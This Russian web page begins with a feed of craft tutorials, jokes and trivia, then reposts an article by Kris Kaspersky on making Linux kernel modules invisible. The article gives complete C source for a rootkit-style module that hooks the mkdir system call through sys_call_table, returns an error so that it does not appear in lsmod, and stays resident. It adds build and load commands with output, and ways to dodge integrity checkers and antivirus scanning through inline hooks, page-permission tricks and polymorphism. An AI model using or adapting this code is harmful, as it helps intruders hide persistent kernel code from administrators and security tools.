Владислав Кабак | Omegicus CIO

NebKa

ТЕПЛЫЙ ЖАКЕТ С ЛАЦКАНАМИ. Схема вязания (спицы)



читать далее »

Как легко и недорого сделать лепнину. Ирисы. Мастер-класс от Томаш Ольги.

1. Это результат работы. 2.  3. 1. С помощью мастихина наносится объемный рисунок. Для этого можно взять любую шпаклевку. 4. 2.После высыхания большого слоя шпаклевки , она обязательно потрескает. В этом нет ничего страшного, так как лепка будет обязательно проклеиватся. Ножом



читать далее »

Анекдот

Заболели у мужика яички. Врачи говорят, надо резать. Мужик в панике. По совету друга идёт к бабке. Бабка, выслушав: " И-и-ишь, резать!!! Им бы только резать! На вот,болезный, выпей отварчику. Во-о-от, молодец. А теперь попрыгай--они


читать далее »

Животные

Осел утонет в зыбучих песках, а мул - нет.


читать далее »

Вязание амигуруми. Милый мишка крючком. Как вязать

Описание вязания мишки амигуруми от Nelly Handmade. Отличная игрушка для ребенка своими руками. Экологически чистая и сделанная с любовью.             Источник: http://petelki.com.ua/1790-milyy-mishka-kryuchkom.html



читать далее »

Две выкройки юбок с карманами.

Добрый день, мой читатель WomaNew. ru. Сегодня я продолжаю статьи о юбках предлагаю рассмотреть выкройку юбки с карманами.   Выкройка юбки с прорезными карманами. Для начала на переднем полотнище от конца вытачки намечаем прямую входа в карманчик (а). Разрезаем



читать далее »

Как украсить стаканы лаком для ногтей мастер-класс

Если в вас есть неистребимое желание к творческому преобразованию вещей вокруг вас, то эта статья придётся вам по вкусу. В ней вы найдёте ещё одну простую идею, как украсить стаканы лаком для ногтей. При помощи



читать далее »

Выкройка чердачной куклы



читать далее »

Мой совет:

Сковороды можно чистить легко так: слегка подогреть их и протереть солью, а затем пергаментом (в крайнем случае - простой бумагой).


читать далее »

История

По окончании вечерней молитвы на судах Российского императорского флота вахтенный начальник командовал "Накройся!", что означало надеть головные уборы, и одновременно подавался сигнал отбоя молитвы. Длилась такая молитва обычно 15 минут.


читать далее »

Анекдот

- Женщины очень коварны! Вчера одна моя знакомая, например, говорит, что ушибла ногу. Начинаешь осматривать - никаких ушибов. Но уже поздно...


читать далее »

Мой совет:

В теплое время для ухода за обувью лучше использовать эмульсионные кремы, которые хорошо растворяются и пропускают воздух, а зимой - кремы на органических растворителях (они дают воздухо- и водонепроницаемую пленку).


читать далее »

Анекдот

Сaдится хохол в поезд, зaходит в вaгон, нaшел свое купе. Открывaет дверь, a тaм три негрa сидят! Хохол: - Ой, хлопцы! А шо тут горело?


читать далее »

ФАКТУРНАЯ ФОТОРАМКА

Источник: http://barrellab.ru/



читать далее »

Животные

Кости голубя весят меньше, чем его перья.


читать далее »

Кормушка для птиц из газетных трубочек

Весной, да и летом, как никогда хочется направить все свое умение в рукоделии на создание поделок для украшения интерьера загородного дома или дачного участка. В связи с этим хочу вам предложить использовать бросовый материал -



читать далее »

Подсвечники из проволоки и бусин — простой вариант

Автор мастер-класса: Marianna Эти простенькие подсвечники из проволоки и бусин сделать очень легко, для этого вам не понадобится подробных схем плетения. Но в этой статье вы найдёте схему-раскраску для того, чтобы разработать рисунок для своего уникального подсвечника



читать далее »

Фея, исполняющая желания.

Если взять одуванчик,  дунуть на него и загадать желание, то ваше желание имеет хорошие шансы на выживание, так как семена одуванчика неприхотливы и могут пустить корни в самых суровых условиях.. Так считает скульптор Робин Уайт из Великобритании.



читать далее »

ПЛАТЬЯ К ЛЕТУ. ИДЕИ ДЛЯ ВДОХНОВЕНИЯ

Kiara весна-лето



читать далее »

Природа

В 1932 году было так холодно, что Ниагарский водопад полностью замерз.


читать далее »

Мастер-класс по мозаике: Настенное панно Мозаичные хамелеоны

Из этого мастер-класса Вы узнаете как сделать мозаичное панно с разноцветными хамелеонами, сидящими на ветке. Автор: sashkale  Сейчас расскажу, как делались мозаичные хамелеоны. Материалы: Витражное стекло, марблс, основа - гипсокартон Сначала мы придумали рисунок.  Я его нашла в интернете и увеличила до нужного



читать далее »

Анекдот

— Папа, представляешь, выхожу из института. Пристает какой-то пьяный урод и предлагает сделать минет вот за эту цепочку...


читать далее »

Игольница-башмачок. МК

Доброе утро всем, забежавшим ко мне в гости))   Нам понадобится:- ткань (можно хлопок, фетр, флис)- флизелин - для хлопка- синтепон- лента или шнурок- украшенияДля начала определяемся с выкройкой (сейчас их много в сети, достаточно набрать в



читать далее »

Анекдот

Морская примета: Если чайка летит жопой вперед, значит ветер очень сильный.


читать далее »

Светящийся наряд для маленькой принцессы

Бабушкам и мамочкам маленьких принцесс хочу предложить создать для своих девочек шикарный праздничный наряд, юбку-пачку или, как еще ее называют, туту-юбочку с использованием светодиодной гирлянды, которой обычно украшают елочку и праздничный интерьер. Юбку можно сшить



читать далее »

Животные

Единственные животные, занимающиеся сексом ради удовольствия, - люди и дельфины.


читать далее »

Мой совет:

Пятна на изделиях из искусственной кожи нельзя удалять спиртом, бензином, ацетоном, а только тёплой мыльной водой.


читать далее »

Животные

Китовая акула, в отличие от большинства других акул, питается только планктоном.


читать далее »

Контейнерные сады Памелы Кроуфорд

Памела Кроуфорд — бакалавр Университета Вандербильта и магистр в области ландшафтной архитектуры из Международного университета Флориды, автор нескольких книг по садоводству, эксперт в области контейнерного растениеводства и создатель проектов свыше 1500 садов. Посмотрите на несколько



читать далее »

Как сложить салфетку в виде мужской сорочки

Даже самая обычная и незатейливая сервировка стола не обходится без салфетки (ну хотя бы бумажных). А чтобы поразить ваших гостей и знакомых еще на раннем этапе вашего праздника предлагаем вашему вниманию способ складывания льняной салфетки в виде



читать далее »

История несчастной кошки, которую сбил автомобиль и уехал

Приятно осознавать, что еще остались такие люди, которые не могут пройти мимо ни в чем не повинного животного, которое попало в беду.    Иногда беру животных с улицы, подлечить и одомашнить, потом нахожу им хозяев. Отдать новым



читать далее »

Кофейно-джутовый домик для птички

Раннее я вас уже знакомила с замечательными кофейными поделками  мастерицы - Lianamur. Сегодня на повестке дня еще одна интересная работа - домик для птички, декорированный кофейными зернами, джутом и мешковиной.    Источник -http://stranamasterov.ru/node/641401 Для работы нам понадобится: коробка из под конфет, бумажные



читать далее »

Природа

Все паутины разные. Не существует двух одинаковых паутин.


читать далее »

Декупаж. Элегантное пасхальное яичко

                         



читать далее »

Вязаная крючком игрушка "Смешарик "Нюша"

Вам потребуется:- хлопковая пряжа розового цвета (примерно 30 гр. Gjestal Bomull Sport, 50 гр.=100 м., цвет 323);- немного малиновой пряжи (Gjestal Bomull Sport, 50 гр.=100 м., цвет 348); - немного красной пряжи (Gjestal Bomull Sport, 50



читать далее »

КОМПЛЕКТ КРЮЧКОМ ДЛЯ ДЕВОЧКИ

    источник: http://barrellab.ru/



читать далее »

Мой совет:

Достаточно натереть чесноком салатницу, чтобы все блюдо приобрело приятный чесночный запах.


читать далее »

Анекдот

Профессор, устaв вытягивaть студентa нa тройку, говорит: -Ну лaдно ….Скaжи, по кaкому предмету читaлись лекции? Студент молчит. -Тaк….Скaжи хоть, кто читaл лекции? Студент молчит. -Нaводящий вопрос: ты или я?


читать далее »

Как сшить детское платье из футболки. Вторая жизнь старых вещей

Красивое,нежное и практичное платьице для малышки!!!    Источник: http://s30893898787.mirtesen.ru/blog/43101805080/Kak-sshit-detskoe-plate-iz-futbolki.-Vtoraya-zhizn-staryih-vesch



читать далее »

История

Ги де Мопассан, Александр Дюма, Шарль Гуно, Леконт де Лиль и многие другие деятели культуры подписали знаменитый протест против ... "уродования Парижа Эйфелевой башней".


читать далее »

Анекдот

Возможности медицины безграничны. Ограничено количество пациентов


читать далее »

Анекдот

Познакомлюсь с женщиной, но не с первой попавшейся, а и по-французки чтоб, и на фортепьянах, и на диване, и везде, где ни скажу


читать далее »

Проведение приема

Проведение каждого приема требует от его хозяев максимальной сосредоточенности, проработки со многими заинтересованными лицами огромного числа вопросов, начиная от уведомления милиции (полиции) и обеспечения с ее помощью парковки гостевых автомобилей до составления проекта речи-тоста, призванной,


читать далее »

Мой совет:

Если у вас имеется использованный стержень от шариковой авторучки, не торопитесь его выбрасывать. Из него можно сделать хорошую соломинку для коктейлей.


читать далее »

Мой совет:

Тюлевые занавески можно стирать в стиральной машине, предварительно зашив их в мешочек или наволочку. А чтобы занавески не скручивались в узел, края нужно приметать к наволочке.


читать далее »

Пасхальные фоны

                                                                                                                                                       



читать далее »

Почему полезно спать в середине дня?

В настоящее время физиологи считают, что человек должен поспать в сутки не один, а как минимум два раза. Они доказали, что короткий перерыв на сон в середине дня повышает способность к концентрации и производительности труда.


читать далее »

Специальные символы на клавиатуре

Специальные символы на клавиатуре – кажется они нужны не очень часто, но без спецсимволов порой не обойтись. Например когда нужно сделать специальный текст, или вставить их в ник, или оформить неповторимую надпись в Интернете … Нашел отличную



читать далее »

Анекдот

Что нужно обязательно сделать в жизни: - Нанять двух сыщиков следить друг за другом. - Забежать в магазин, прокричав: "Какой сейчас год?" Услышав ответ, выбежать с криком "Сработало!" - Сделать ванильный пудинг. Положить его в банку из под


читать далее »

ШАРФ-СНУД

ШАРФ-СНУД Источник: http://barrellab.ru/



читать далее »

Анекдот

В aвтобусе рядом с миловидной девушкой сидит пьяный мужик. Шумно портит воздух, чем привлекaет всеобщее внимaние пaссaжиров. Повернувшись к покрaсневшей девушке говорит: - А ты вaли все нa меня, я все равно - пьяный...


читать далее »

Разное

Считается, что каждый король в игральных картах представляет определенного исторического персонажа: король Пик — Царь Давид, король Треф — Александр Македонский, король Бубен — Юлий Цезарь, король Червей — Карл Великий.


читать далее »

Человек

Количество клеток в организме человека - около 100 триллионов.


читать далее »

Валентинка из картона. Мастер-класс

Автор идеи и мастер-класса: rivertown   Близится любимый праздник, наверно, всей планеты. Эх, знал бы ты, Валентин, сколько шуму ты наделал) Но чтоб не вливаться в ряды потребителей, предлагаю сделать подарок своими руками. А именно большую и красивую



читать далее »

Вяжем для дома – яркие диванные подушки.

original-home.ru/   А прибавить к этим позитивным эмоциям и чувство удовлетворения за блестяще проделанную творческую работу? Настроение будет отменным! Ну что? За работу?! Вы умеете вязать крючком? Нет? Тогда это повод научится. Умеете? Отлично. Вам будет нетрудно связать такую


читать далее »

Анекдот

Жаль, что люди, точно знающие, как надо управлять страной, уже работают или парикмахерами, или таксистами.


читать далее »

Украшаем одежду шелковым поясом с розочками из ленточек



читать далее »

Свитер в технике энтерлак. Как вязать

Миленький свитерок, связанный в технике энтерлак, станет зимой вашим незаменимым элементом гардероба.  Размер: 38-42Вам потребуется: 400 г жёлтой и 200 г зелёной пряжи секционного крашения Schachenmayr MERINO EXTRAFINE COLOR 120 (100% шерсти, 120 м/50 г); спицы № 6;



читать далее »

Цветы яблони из креповой бумаги

Автор: Вероника Подгорная (nika-po) Советую купить удобную в работе японскую флористическую проволоку – она идеально ровная и уже обернута бумагой.   Если специальная проволока недоступна, можно взять мягкую медную проволоку – от старых трансформаторных катушек, электрошнуров и многожильных



читать далее »

Анекдот

У Джеймса Бонда спрашивают - Сколько время? - Пятнадцать. Семь пятнадцать.


читать далее »

История

Уолт Дисней боялся мышей


читать далее »

Красота своими руками. ЛАМПА - ДОМИК из бросового материала

Просто удивительно, чего только не придумают и какую красоту для спальни можно сделать своими руками из бросового материала! Замечательная работа - лампа-домик от мастерицы Юлии Это пустые упаковки от сока  и молока... Узнаете? Для работы над лампой-домом



читать далее »

СЕРДЦЕ-ВАЛЕНТИНКА ИЗ ФЕТРА

Источник: http://barrellab.ru



читать далее »

Скетчи

Virginia Nebel      Summer Fullerton  Marla Kress       Adrienne Alvis    Stephanie Bryan    Kim Morena    Naomi Atkins    Katie Ehmann    Heather Leopard    Jessica Lohof    Emily Spahn    Cindy Liebel    Jill Cornell


читать далее »
Здесь пока пусто

Unauthorized.

Призраки ядра или модули-невидимки

2011.10.08

Призраки ядра или модули-невидимки

Автор: (c)Крис Касперски ака мыщъх

Потребность в создании "невидимых" модулей ядра растет с каждым днем - антивирусная индустрия набирает обороты, на рынке присутствует множество virginity-checker'ов, проверяющих систему на предмет проникновения, в хакерских (и даже совсем не хакерских!) журналах опубликована масса статей, рассказывающих, как прятать модули от штатных средств ОС, в результате чего старые трюки палятся еще на излете и уже не работают. Требуется что-то принципиально новое! Главным образом, речь пойдет про Linux, но предложенные приемы с ничуть не меньшим успехом можно использовать в NT и BSD.

Введение

Лучший способ замаскировать модуль (в терминологии NT - драйвер) - не иметь модуля (драйвера) вообще! И это не шутка! Модули представляют собой унифицированный механизм, обеспечивающий легальную загрузку/выгрузку компонентов ядра, однако существуют и другие механизмы проникновения на уровень ядра, некоторые из которых описаны в моей статье Захватываем ring 0 в Linux, однако все они не универсальны и ненадежны. С другой стороны, любая попытка явного стелсирования (см. статью Прятки в Linux) - это 100% палево, выдающее факт вторжения с головой. Антивирусу достаточно вручную пройтись по всем структурам ядра, а затем сравнить полученный результат с данными, возвращенными легальными средствами (например, командой "lsmod").

Значит, чтобы не иметь проблем с маскировкой модуля, достаточно просто не регистрировать его в списке модулей. Отказаться от предоставляемого системой унифицированного интерфейса и размещать свою тушу в ядерной памяти самостоятельно. Но для этого сначала нужно вырыть нору, ведь мыши, модули и прочие грызуны живут в норах, а на открытом пространстве быстро погибают, становясь легкой добычей лис, филинов и других ухающих хищников.

Мыщъх в норе

Рисунок 1. Мыщъх в норе собственной персоной с рассветом наедине.

Руководящая идея

Пишем модуль как обычно, но в процедуре init_module() выделяем блок памяти вызовом __get_free_pages (или любой другой функцией из семейства kmalloc, см. "Чем выделять память"), копируем туда резидентный код, делающий что-то "полезное", перехватываем все необходимые системные вызовы, заставляя их передавать управление резидентному коду (который, кстати говоря, должен быть перемещаемым, т.е. сохранять работоспособность независимо от базового адреса загрузки). После этого мы возвращаем -1, сообщая системе, что init_module обломался.

Как результат - модуль не загружается, но и выделенная им память не освобождается, а это значит, что резидентный код продолжает работать! Причем, определить - каким именно модулем был выделен тот или иной блок памяти в общем случае невозможно и даже обнаружив резидентный код, антивирус ни за что не сможет сказать, откуда он тут взялся?

Что случилось с www.rootkit.com?

Рисунок 2. Что случилось с www.rootkit.com?!

Какие именно системные вызовы перехватывать и как осуществлять фильтрацию, можно прочитать в любой статье, посвященной технологии создания rootkit'ов, например: "Abuse of the Linux Kernel for Fun and Profit" (PHRACK #50), "Weakening the Linux Kernel" (PHRACK #52), "Sub proc_root Quando Sumus" (PHRACK #58), "Kernel Rootkit Experiences" (PHRAСK #61) и т.д. Все статьи, естественно, на английском, знание которого только приветствуется. И хотя сам PHRACK уже мертв, архив старых номеров доступен всем желающим по старому адресу www.phrack.org. А вот www.rootkit.com последнее время ведет себя как-то странно. На доменное имя не отзывается, но нормально открывается по IP-адресу: 65.61.116.2. Интересно, это у меня такое или у остальных тоже? Пишите на http://slut96.blogspot.com (см. рис. 3).

Но довольно лишних слов! Пора приступать к практической реализации!

slut96.blogspot.com

Рисунок 3. slut96.blogspot.com - секретная нора мыщъх'а, где ему можно оставить сообщение.

Proof-of-concept module или готовая демонстрация

Давайте, в качестве разминки соорудим минимально работающий "невидимый" LKM-модуль для Linux с ядром версии 2.4 (ядро 2.6 потребует незначительных изменений, о которых мы расскажем ниже), а вот в операционных системах xBSD и NT все сильно по-другому, хотя основополагающий принцип тот же - в процедуре инициализации выделяем память, копируем туда резидентный код, перехватываем один или несколько системных вызовов и возвращаем ошибку, приводящую к выгрузке модуля из памяти. Подробнее о технике написания LKM- и KLD-модулей под xBSD можно прочитать в моей статье Хачим ядро xBSD, а "скелет" драйвера под NT описан в статье Жизнь после BSOD. Еще рекомендуется прочитать цикл статей Four-F'а на wasm'e, покрывающий собой все основные аспекты разработки драйверов: http://www.wasm.ru/article.php?article=drvw2k01.

Но вернемся к Linux'у. Наш "невидимка" будет перехватывать системный вызов SYS_mkdir (см. рис. 4), возвращая неизменную ошибку вместо передачи управления оригинальному syscall'у, в результате чего создание новых директорий окажется невозможным (во всяком случае, до перезагрузки системы). Это сделано для "облегчения" листинга и упрощения его понимания. Примеры реализации полноценных перехватчиков содержатся в статьях Перехват библиотечных функций в Linux и BSD и Шприц для *BSD.

Механизм реализации системных вызовов

Рисунок 4. Механизм реализации системных вызовов в Linux.

В качестве "шасси" мы будем использовать "скелет" LKM-драйвера, приведенный в уже упомянутой статье Прятки в Linux. Фактически, мы только выбросим процедуру cleanup_module(), выполняющуюся при выгрузке модуля из памяти (ведь наш модуль никогда не выгружается! во всяком случае, в традиционной трактовке этого слова), добавим функцию thunk_mkdir(), замещающую собой старый системный вызов SYS_mkdir() и напишем несколько строк кода, обеспечивающих выделение памяти, копирование thunk_mkdir() и подмену оригинального SYS_mkdir'а. Если отбросить комментарии, на все понадобиться менее десяти строк на языке Си (краткость - сестра таланта)!

Предлагаемый вариант реализации выглядит так:

// сообщаем компилятору, что это модуль режима ядра
#define MODULE
#define __KERNEL__

// подключаем заголовочный файл для модулей
#include
// на многоЦП'шных машинах подключаем еще и smp_lock.h
#ifdef __SMP__
        #include
#endif

// подключаем файл syscall.h, в котором перечислены все
// системные вызовы (в т.ч. и необходимый нам SYS_mkdir)

#include

// не нужно использовать linux/malloc.h, чтобы не ругался
// компилятор, вместо этого возьмем linux/mm.h
// #include

#include

// заглушка на функцию SYS_mkdir, всегда возвращающая -1,
// т.е. блокирующая всякую попытку создания директории с
// сообщением об ошибке; естественно, в "полновесном"
// вирусе или rootkit'е здесь должен быть обработчик,
// передающий управление оригинальному системному вызову

thunk_mkdir()
{
        return -1; // директория не создается
}

// чтобы определить длину функции thunk_mkdir, которую мы
// собираемся копировать в выделенный блок памяти, будем
// исходить из того факта, что порядок объявления функций
// в файле совпадет с их размещением в памяти, (в 99% все
// именно так и происходит!), тогда нам останется только
// разместить фиктивную функцию за концом настоящей и...
// вычислить разницу указателей. то есть, условно говоря,
// size of(thunk_mkdir) = thunk_end - thunk_mkdir.
// внимание! это работает не на всех платформах!!!

thunk_end()
{
        return 0x666; // thunk_end никогда не вызывается
}

// объявляем внешнюю переменную, указывающую на таблицу
// системных вызов sys_call_table

extern void *sys_call_table[];

// объявляем функцию, в которую будет записан указатель
// на оригинальный системный вызов old_mkdir (в данном
// случае он никак не используется)

int (*old_mkdir)();

// объявляем функцию, в которую будет записан указатель
// на резидентный код thunk_mkdir, остающийся в памяти
// даже после выгрузки модуля

int (*new_mkdir)();

// EntryPoint: стартовая функция модуля, ответственная
// за его инициализацию и возвращающая 0 (при успешной
// инициализации) и -1 (если в ходе инициализации были
// зафиксированы неустранимые ошибки), и в этом случае
// модуль не загружается.

int init_module(void)
{
        // выделяем одну страницу ядерной памяти
        new_mkdir = (void *) __get_free_page(GFP_KERNEL);

        // проверяем успешность выделения памяти
        if (!new_mkdir) return -1 | printk("mem error!\n");

        // определяем адрес оригинального вызова SYS_mkdir
        // (в данной версии модуля никак не используется!)

        old_mkdir = sys_call_table[SYS_mkdir];

        // копируем резидентный код нового SYS_mkdir в блок
        // памяти, выделенный вызовом __get_free_page

        memcpy(new_mkdir, thunk_mkdir, thunk_end-thunk_mkdir);

        // модифицируем таблицу системных вызовов, заменяя
        // старый вызов mkdir на новую процедуру-заглушку

        sys_call_table[SYS_mkdir] = new_mkdir;

        // выводим отладочное сообщение, что все ОК
        printk("SYS_mkdir is now hooked!\n");

        // возвращаем ошибку, предотвращая загрузку модуля,
        // (но оставляя резидентный код в памяти)

        return -1;
}

// пристыковываем лицензию, по которой распространяется
// данный файл; если этого не сделать, модуль успешно
// загрузится, но операционная система выдаст warring,
// сохраняющийся в логах и привлекающий внимание админов

MODULE_LICENSE("GPL");

Листинг 1. Исходный текст невидимого LKM-модуля "mod-hidden.c", оставляющий резидентный код в памяти, блокирующий вызов SYS_mkdir() и работающий с ядром версии 2.4.

Для переноса модуля на 2.6 ядро прототип функции инициализации следует переписать так:

static int __init my_init()
module_init(my_init);

Листинг 2. Прототип функции инициализации LKM-модуля в ядрах версии 2.6.

Пара замечаний. Перечень системных вызовов (вместе со способом передачи аргументов) лежит на http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html (см. рис. 5). В частности, SYS_mkdir принимает два аргумента: в EBX передается указатель на имя создаваемой директории, в ECX - флаги, описанные в "man mkdir". При желании, проанализировав *EBX, мы можем блокировать создание только определенных директорий, например, тех, что используют антивирусы и прочие защитные средства по умолчанию. Конечно, это демаскирует присутствие rootkit'а, но до некоторой степени затрудняет его удаление из системы.

Описание системных вызовов

Рисунок 5. Описание системных вызовов (вместе с аргументами), найденное на просторах Интернета.

Перехват syscall'ов осуществляется вполне стандартно и традиционно: ядро экспортирует переменную extern void sys_call_table, указывающую на таблицу системных вызовов, каждый элемент которой указывает на соответствующий ему системный вызов (или NULL, если данный системный вызов не реализован). Определения самих системных вызовов содержатся в файле /usr/include/sys/syscall.h. В частности, за mkdir закреплено "имя" SYS_mkdir.

Объявив в модуле переменную "extern void *sys_call_table[]", мы получим доступ ко всем системным вызовам, которые только есть (включая нереализованные). old_mkdir = sys_call_table[SYS_mkdir] заносит в переменную old_mkdir указатель на системный вызов SYS_mkdir, а sys_call_table[SYS_mkdir] = new_mkdir заменяет его на new_mkdir, который должен располагаться в ядерной области памяти, о разновидностях которой мы поговорим ниже.

Внимание: если забыть скопировать new_mkdir в предварительно выделенный блок памяти, то после выгрузки модуля, SYS_mkdir будет указывать на невыделенную область памяти и приложение, вызывавшее функцию mkdir завершится с сигналом 11 - segmentation fault (см. рис. 6), но ядро продолжит функционировать в нормальном режиме и никаких экранов голубой смерти, которыми так славится NT, тут не произойдет. Да, Linux - это вам не Windows! Это намного более крутая и живучая система, способная постоять за себя!

Примечание: на самом деле, ядро ничего не экспортирует (в привычной для NT-программистов трактовке этого слова). В каталоге /boot лежит файл System.map, содержащий символьную информацию о всех "публичных" переменных и процедурах ядра. Его-то загрузчик модулей и использует. Если этого файла нет (например, удален администратором по соображениям безопасности), определять адрес таблицы символов приходится эвристическим путем, но это уже тема для отдельной статьи...

Некорректный перехват системного вызова

Рисунок 6. Некорректный перехват системного вызова приводит к аварийному завершению обратившегося к нему процесса, а не всего ядра целиком (как это происходит в NT).

Сборка и загрузка

Компиляция модулей (для знакомых с gcc) никакой сложности не представляет. Ключи, опции оптимизации и прочие специи - по вкусу. Кто-то любит острое, а кто-то соленое. Согласия, короче нет. Но в общем случае командная строка должна выглядеть так:

$gcc -c  module-hide.c -o mod-hidden.o -O2

Листинг 3. Компиляция невидимого LKM-модуля.

Если компиляция прошла без ошибок, то на диске образуется файл module-hide.o, готовый к загрузке внутрь ядра командой insmod (естественно, загружать модули может только root, техника нелегального приобретения которого рассмотрена в статье Захватываем ring 0 в Linux):

$insmod mod-hidden.o

Листинг 4. Загрузка LKM-модуля в пространство ядра (для автоматической загрузки модуля вместе с операционной системой необходимо добавить его в файл /etc/modules).

Система тут же начнет ругаться на всех языках, которые только знает (точнее, на тех, под которые ее локализовали), типа, мол, модуль не загружен, нет прав на операцию (см. листинг 5), неверные параметры, инвалидный IO или IRQ. Но не стоит волноваться. Все идет по плану! Это просто результат return -1 в init_module().

root@3[module]# gcc -c mod-hidden.c -o mod-hidden.o -O2
root@3[module]# insmod mod-hidden.o
mod-hidden.o: init_module: Operation not permitted
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters.
      You may find more information in syslog or the output from dmesg
root@3[module]#

Листинг 5. Реакция ядра на попытку загрузки невидимого LKM-модуля mod-hidden.o.

Главное то, что в списке загруженных модулей (выводимых командой "lsmod" или ее аналогом "dd if=/proc/modules bs=1") наш модуль отсутствует, как будто бы мы никогда туда его не загружали. Однако, команда "mkdir" дает ошибку, убеждая нас в том, что резидентный код успешно обустроился на конспиративной квартире и ведет активную борьбу!

root@3[module]# mkdir nezumi
mkdir: невозможно создать каталог `nezumi': Operation not permitted

Листинг 6. При активном резидентном коде создание новых директорий невозможно!

Сборка, загрузка и демонстрации

Рисунок 7. Сборка, загрузка и демонстрации работы невидимого модуля, отсутствующего в списке модулей, выдаваемых командой insmod и прочими средствами.

Чем выделять память?

Для выделения памяти ядро предоставляет богатый ассортимент функций, описанных в man'e (см. "man kmalloc", если только соответствующие страницы установлены, в некоторых дистрибутивах и, в частности, в KNOPPIX'е они наглым образом отсутствуют и приходится ходить в сеть: http://man.he.net/man9/kmalloc).

On-line man по функциям выделения ядерной памяти

Рисунок 8. On-line man по функциям выделения ядерной памяти.

В первую очередь хотелось бы отметить функцию "void *kmalloc(size_t size, int priority)", где size - размер запрашиваемого блока, который должен быть одним из следующих значений (в байтах): 24, 56, 120, 244, 500, 1012, 2032, 4072, 8168, 16360, 32744, 65512 или 131048. В противном случае функция автоматически округлит размер блока в большую сторону.

Параметр priority задает стратегию выделения памяти. GFP_ATOMIC выделяет требуемую память немедленно (при необходимости вытесняя другие страницы на диск), GFP_KERNEL резервирует блок памяти, выделяя страницы памяти по мере обращения к ним, GFP_BUFFER никогда не вытесняет другие страницы и если запрошенная память недоступна, с выделением наступает облом. Существуют и другие стратегии выделения, но нам они не интересны, поскольку фактически приходится выбирать между GFP_ATOMIC и GFP_KERNEL. Обычно используют последний, т.к. он ведет себя не столь агрессивно.

Если нужно выделить всего одну страницу памяти, имеет смыл воспользоваться функцией "unsigned long __get_free_page(int priority)", где priority - тот же самый, что и у kmalloc. Ее ближайшая родственница: "get_free_page(int priority)" отличается только тем, что обнуляет память сразу же после выделения, что несколько снижает производительность и к тому же мы все равно будем копировать резидентный код через memcpy, так что содержимое страницы нам некритично.

Определения всех функций (с краткими комментариями) содержатся во включаемом файле .

Грабеж отладочного вывода

Функция printk(), используемая нами, позволяет генерировать отладочный вывод, который не появляется на экране, чтобы не смущать пользователей обилием технической информации, в которой они все равно ни хрена не разбираются. Что ж, вполне логично, что отладочный вывод должен быть доступен только разработчикам, но... как, черт возьми, до него добраться? Операционная система NT имеет "Системный Журнал" (и притом не один), но ничего похожего на это в Linux'е нет и отладочный вывод бесхитростно валится в текстовой файл /proc/kmsg, который можно прочитать утилитой cat:

cat /proc/kmsg > filename

Листинг 8. Просмотр отладочного вывода под консолью.

Однако лучше использовать специализированные средства наподобие консольной приблуды "dmesg" (запускаемой без аргументов) или X-ой гляделки:

xconsole -file /proc/kmsg

Листинг 9. Просмотр отладочного вывода в X-ах.

Просмотр отладочного вывода

Рисунок 9. Просмотр отладочного вывода под X'ми.

Резидентный код в камуфляжных штатах

Вот мы и спрятали модуль! Теперь можно расслабиться и сгонять в Амстердам, чтобы зайти в Coffee-Shop и съесть пару аппетитных булочек известного содержимого. А пока мы там кайфуем, наш модуль имеют по полной программе все, кому не лень. Как это так?! Мы же ведь замаскировались!!!

Замаскироваться-то мы замаскировались, но подобное грубое вторжение в таблицу системных вызовов вряд ли сможет долго остаться незамеченным. Существует куча утилит, проверяющих целостность sys_call_table и автоматически восстанавливающих ее, отбирая у резидентного кода все бразды правления. Но даже без них - указатель на системный вызов, расположенный вне ядра, вызывает слишком большие подозрения.

Чтобы не сгореть на первом же допросе, необходимо слегка изменить тактику: оставить в покое sys_call_table и внедрить jump на резидентный код в начало перехватываемого системного вызова. Впрочем, jump в начале системных вызовов - весьма популярный (а потому широко известный) способ перехвата и опытные админы нас все равно запалят. Чтобы избежать расправы, необходимо внедряться не в начало, а в середину системных вызовов! А для этого необходимо тащить за собой целый дизассемблер, поскольку длина x86 инструкций непостоянна и варьируется в весьма широких пределах. Впрочем, можно пойти на хитрость и искать плацдарм для внедрения эвристическим путем, например, по сигнатуре: 85h C0h * 7x, соответствующей конструкции TEST EAX,EAX/Jx target. Звездочка означает, что между TEST EAX,EAX и Jx target может быть расположено несколько машинных команд. Во избежание ложных срабатываний не следует выбирать расстояние между 85h C0h и 7xh свыше 4 байт. Естественно, внедряя jmp near our_resident_code поверх TEST EAX,EAX..., необходимо предварительно сохранить затираемое содержание в своем собственном буфере и выполнить его перед передачей управления оригинальному системному вызову.

Важно отметить, что данный способ перехвата не является на 100% надежным и безопасным, поскольку существует ничтожная вероятность, что выполнение процесса будет прервано в момент установки jump'а и тогда он рухнет. Однако rootkit'ы об этом могут не заботиться, да и падения такие будет происходить не чаще, чем раз в сто лет.

Маскируемся в адресном пространстве

Вот теперь мы замаскировались, так замаскировались! Только хвост все равно из норы торчит и наш резидентный код может быть найден тривиальным сигнатурным поиском путем сканирования памяти ядра (естественно, при условии, что он известен антивирусам, а все популярные rootkit'ы им известны). Чтобы остаться необнаруженным, необходимо использовать или продвинутые полиморфные методики или... есть тут один способ, о котором не грех рассказать.

Сбрасываем страницы, принадлежащие нашему резидентному коду, в no_access, вешаем обработчик исключений, отлавливающий ошибки доступа к памяти и терпеливо ждем. Как только возникнет исключение - смотрим: если на вершине стека находится адрес возврата в системный вызов (для этого перехват должен осуществляться командой CALL, а не jump), то возвращаем все атрибуты на место и даем зеленый свет на выполнение резидентного кода, а в момент передачи управления оригинальному системному вызову - отбираем атрибуты обратно. Если же резидентный код пытается читать кто-то еще (что за посторонние тут шляются, спать мешают!) - подсовываем другую страницу (например, путем манипуляций с каталогом страниц). Более сложные реализации не восстанавливают атрибуты, а используют пошаговую трассировку резидентного кода или даже эмулируют его выполнение, но это уже передоз, то есть перебор.

Просто? Как два пальца! Эффективно? А вот насчет эффективности мыщъха терзают смутные сомнения. Но ведь не он же этот трюк придумал! Так что, может и покритиковать. Первое и самое главное. Читать резидентный код в памяти ядра могут не только антивирусы, но и само ядро при вытеснении его на диск или переходе в "спящий" режим. Как следствие - возникает конфликт и rootkit работает нестабильно. Второе - код обработчика остается незащищенным (а защитить его никак нельзя, поскольку кто-то же должен обрабатывать исключения!), следовательно, он элементарно палиться по сигнатурному поиску. Как говорится, за что боролись - на то и напоролись.

Короче - без полиморфизма никуда. Это вам мыщъх говорит! Чтобы мой хвост никогда не вставал, если это не так!

Заключение

